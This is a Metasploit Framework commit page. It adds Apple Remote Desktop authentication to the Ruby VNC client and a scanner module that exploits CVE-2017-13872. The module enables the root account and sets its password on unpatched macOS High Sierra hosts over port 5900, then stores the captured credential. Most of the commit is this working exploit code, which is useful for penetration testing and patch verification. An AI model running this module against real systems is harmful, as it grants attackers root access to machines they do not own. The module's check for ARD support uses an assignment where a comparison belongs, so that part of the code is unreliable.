Skip to content

Commit c2bb144

Browse files
committed
Land rapid7#9302, Implement ARD auth and add remote CVE-2017-13872 (iamroot) module
2 parents 8c2c30c + 09772cb commit c2bb144

File tree

6 files changed

+182
-6
lines changed

6 files changed

+182
-6
lines changed

lib/metasploit/framework/login_scanner/vnc.rb

Lines changed: 9 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -46,8 +46,6 @@ def attempt_login(credential)
4646
service_name: 'vnc'
4747
}
4848

49-
credential.public = nil
50-
5149
begin
5250
# Make our initial socket to the target
5351
disconnect if self.sock
@@ -57,7 +55,11 @@ def attempt_login(credential)
5755
vnc = Rex::Proto::RFB::Client.new(sock, :allow_none => false)
5856

5957
if vnc.handshake
60-
if vnc_auth(vnc,credential.private)
58+
type = vnc.negotiate_authentication
59+
if type != Rex::Proto::RFB::AuthType::ARD
60+
credential.public = nil
61+
end
62+
if vnc_auth(vnc,type,credential.public,credential.private)
6163
result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL
6264
else
6365
result_options.merge!(
@@ -106,11 +108,13 @@ def set_sane_defaults
106108
# This method attempts the actual VNC authentication. It has built in retries to handle
107109
# delays built into the VNC RFB authentication.
108110
# @param client [Rex::Proto::RFB::Client] The VNC client object to authenticate through
111+
# @param type [Rex::Proto::RFB::AuthType] The VNC authentication type to attempt
112+
# @param username [String] the username to attempt the authentication with
109113
# @param password [String] the password to attempt the authentication with
110-
def vnc_auth(client,password)
114+
def vnc_auth(client,type,username,password)
111115
success = false
112116
5.times do |n|
113-
if client.authenticate(password)
117+
if client.authenticate_with_type(type,username,password)
114118
success = true
115119
break
116120
end

lib/rex/proto/rfb/cipher.rb

Lines changed: 30 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -75,6 +75,36 @@ def self.decrypt(cipher, password = "\x17\x52\x6b\x06\x23\x4e\x58\x07")
7575
c.update(cipher)
7676
end
7777

78+
79+
def self.encrypt_ard(username, password, generator, key_length, prime_modulus, peer_public_key)
80+
generator = OpenSSL::BN.new(generator, 2)
81+
prime_modulus = OpenSSL::BN.new(prime_modulus, 2)
82+
peer_public_key = OpenSSL::BN.new(peer_public_key, 2)
83+
84+
user_struct = username + ("\0" * (64 - username.length)) + password + ("\0" * (64 - password.length))
85+
86+
dh_peer = OpenSSL::PKey::DH.new(key_length * 8, generator)
87+
dh_peer.set_key(peer_public_key, nil)
88+
89+
dh = OpenSSL::PKey::DH.new(dh_peer)
90+
dh.set_pqg(prime_modulus, nil, generator)
91+
dh.generate_key!
92+
93+
shared_key = dh.compute_key(dh_peer.pub_key)
94+
95+
md5 = OpenSSL::Digest::MD5.new
96+
key_digest = md5.digest(shared_key)
97+
98+
cipher = OpenSSL::Cipher.new("aes-128-ecb")
99+
cipher.encrypt
100+
cipher.key = key_digest
101+
cipher.padding = 0
102+
ciphertext = cipher.update(user_struct) + cipher.final
103+
104+
response = ciphertext + dh.pub_key.to_s(2)
105+
return response
106+
end
107+
78108
end
79109

80110
end

lib/rex/proto/rfb/client.rb

Lines changed: 27 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -88,7 +88,15 @@ def send_client_init
8888
end
8989

9090
def authenticate(password = nil)
91+
authenticate_with_user(nil, password)
92+
end
93+
94+
def authenticate_with_user(username = nil, password = nil)
9195
type = negotiate_authentication
96+
authenticate_with_type(type, username, password)
97+
end
98+
99+
def authenticate_with_type(type, username = nil, password = nil)
92100
return false if not type
93101

94102
# Authenticate.
@@ -99,6 +107,9 @@ def authenticate(password = nil)
99107
when AuthType::VNC
100108
return false if not negotiate_vnc_auth(password)
101109

110+
when AuthType::ARD
111+
return false if not negotiate_ard_auth(username, password)
112+
102113
end
103114

104115
# Handle reading the security result message
@@ -176,6 +187,7 @@ def negotiate_authentication
176187
selected = nil
177188
selected ||= AuthType::None if @opts[:allow_none] and @auth_types.include? AuthType::None
178189
selected ||= AuthType::VNC if @auth_types.include? AuthType::VNC
190+
selected ||= AuthType::ARD if @auth_types.include? AuthType::ARD
179191

180192
if not selected
181193
@error = "No supported authentication method found."
@@ -201,6 +213,21 @@ def negotiate_vnc_auth(password = nil)
201213
true
202214
end
203215

216+
def negotiate_ard_auth(username = nil, password = nil)
217+
generator = @sock.get_once(2)
218+
generator = generator.unpack("n").first
219+
key_length = @sock.get_once(2)
220+
key_length = key_length.unpack("n").first
221+
prime_modulus = @sock.get_once(key_length)
222+
peer_public_key = @sock.get_once(key_length)
223+
224+
response = Cipher.encrypt_ard(username, password, generator, key_length, prime_modulus, peer_public_key)
225+
@sock.put(response)
226+
227+
true
228+
end
229+
230+
204231
attr_reader :error, :majver, :minver, :auth_types
205232
attr_reader :view_only
206233
end

lib/rex/proto/rfb/constants.rb

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -36,6 +36,7 @@ class AuthType
3636
GtkVncSasl = 20
3737
MD5Hash = 21
3838
ColinDeanXVP = 22
39+
ARD = 30
3940

4041
def self.to_s(num)
4142
self.constants.each { |c|
Lines changed: 113 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,113 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'rex/proto/rfb'
7+
8+
class MetasploitModule < Msf::Auxiliary
9+
include Msf::Exploit::Remote::Tcp
10+
include Msf::Auxiliary::Report
11+
include Msf::Auxiliary::Scanner
12+
13+
def initialize
14+
super(
15+
'Name' => 'Apple Remote Desktop Root Vulnerability',
16+
'Description' => 'Enable and set root account to a chosen password on unpatched macOS High Sierra hosts with either Screen Sharing or Remote Management enabled.',
17+
'References' =>
18+
[
19+
['CVE', '2017-13872'],
20+
['URL', 'https://support.apple.com/en-us/HT208315']
21+
],
22+
'Author' => 'jgor',
23+
'License' => MSF_LICENSE
24+
)
25+
26+
register_options(
27+
[
28+
Opt::RPORT(5900),
29+
OptString.new('PASSWORD', [false, 'Set root account to this password', ''])
30+
])
31+
end
32+
33+
def log_credential(password)
34+
print_good("Login succeeded - root:#{password}")
35+
36+
service_data = {
37+
address: target_host,
38+
port: rport,
39+
service_name: 'vnc',
40+
protocol: 'tcp',
41+
workspace_id: myworkspace_id
42+
}
43+
44+
credential_data = {
45+
module_fullname: self.fullname,
46+
origin_type: :service,
47+
username: 'root',
48+
private_data: password,
49+
private_type: :password
50+
}.merge(service_data)
51+
52+
credential_core = create_credential(credential_data)
53+
54+
login_data = {
55+
core: credential_core,
56+
last_attempted_at: DateTime.now,
57+
status: Metasploit::Model::Login::Status::SUCCESSFUL
58+
}.merge(service_data)
59+
60+
create_credential_login(login_data)
61+
end
62+
63+
def run_host(target_host)
64+
begin
65+
if datastore['PASSWORD'].empty?
66+
password = Rex::Text::rand_text_alphanumeric(16)
67+
else
68+
password = datastore['PASSWORD']
69+
end
70+
71+
connect
72+
vnc = Rex::Proto::RFB::Client.new(sock)
73+
if vnc.handshake
74+
type = vnc.negotiate_authentication
75+
unless type = Rex::Proto::RFB::AuthType::ARD
76+
print_error("VNC server does not advertise security type ARD.")
77+
return
78+
end
79+
print_status("Attempting authentication as root.")
80+
if vnc.authenticate_with_type(type, 'root', password)
81+
log_credential(password)
82+
return
83+
end
84+
end
85+
disconnect
86+
87+
connect
88+
vnc = Rex::Proto::RFB::Client.new(sock)
89+
print_status("Testing login as root with chosen password.")
90+
if vnc.handshake
91+
if vnc.authenticate_with_user('root', password)
92+
log_credential(password)
93+
return
94+
end
95+
end
96+
disconnect
97+
98+
connect
99+
vnc = Rex::Proto::RFB::Client.new(sock)
100+
print_status("Testing login as root with empty password.")
101+
if vnc.handshake
102+
if vnc.authenticate_with_user('root', '')
103+
log_credential('')
104+
return
105+
end
106+
end
107+
108+
ensure
109+
disconnect
110+
end
111+
112+
end
113+
end

spec/lib/metasploit/framework/login_scanner/vnc_spec.rb

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -31,7 +31,8 @@
3131

3232
it 'returns a failed result when authentication fails' do
3333
expect_any_instance_of(Rex::Proto::RFB::Client).to receive(:handshake).and_return true
34-
expect_any_instance_of(Rex::Proto::RFB::Client).to receive(:authenticate).with(private).and_return false
34+
expect_any_instance_of(Rex::Proto::RFB::Client).to receive(:negotiate_authentication).and_return Rex::Proto::RFB::AuthType::VNC
35+
expect_any_instance_of(Rex::Proto::RFB::Client).to receive(:authenticate_with_type).with(Rex::Proto::RFB::AuthType::VNC,nil,private).and_return false
3536
result = login_scanner.attempt_login(test_cred)
3637
expect(result.status).to eq Metasploit::Model::Login::Status::INCORRECT
3738
end

0 commit comments

Comments
 (0)